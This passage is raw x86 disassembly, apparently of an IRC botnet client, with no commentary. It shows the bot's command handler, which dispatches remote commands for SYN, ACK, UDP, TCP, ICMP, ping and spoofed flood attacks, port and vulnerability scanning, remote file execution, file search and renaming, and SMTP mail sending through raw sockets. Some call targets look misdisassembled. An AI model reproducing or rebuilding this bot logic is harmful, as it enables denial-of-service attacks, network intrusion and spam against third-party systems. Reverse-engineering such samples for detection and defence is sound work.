234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h nop call near ptr 26705B3h jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j call near ptr 2680000h nop push eax push offset dword_42AE9C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB044, ebx jz short loc_40604E cmp dword_4CB06C, ebx jz short loc_40604E push offset unk_42AE60 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE34 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE14 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42ADCC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADAC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42AD84 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD64 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD38 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD1C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h call near ptr 26705B3h nop jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j nop call near ptr 2680000h push eax push offset unk_42AB8C jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB44 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h nop call near ptr 26705B3h jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj nop call near ptr 2680000h push eax push offset dword_42AB08 jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA2C ; " " push offset dword_42B4FC push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAEE4 lea eax, [ebp+var_47EC] push eax call dword_4CAFF8 push 6 push 1 push 2 mov edi, eax call dword_4CAFF4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAF74 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF1C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFC4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C push esi call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_4588] push eax push offset unk_42A9CC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A984 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A940 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h call near ptr 26705B3h nop jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 2680000h push eax push offset unk_42A908 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A8D0 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB064, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A888 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h nop call near ptr 26705B3h jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j nop call near ptr 2680000h push eax push offset unk_42A850 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A7FC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7C4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A790 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A75C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A714 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h nop call near ptr 26705B3h jmp short loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: 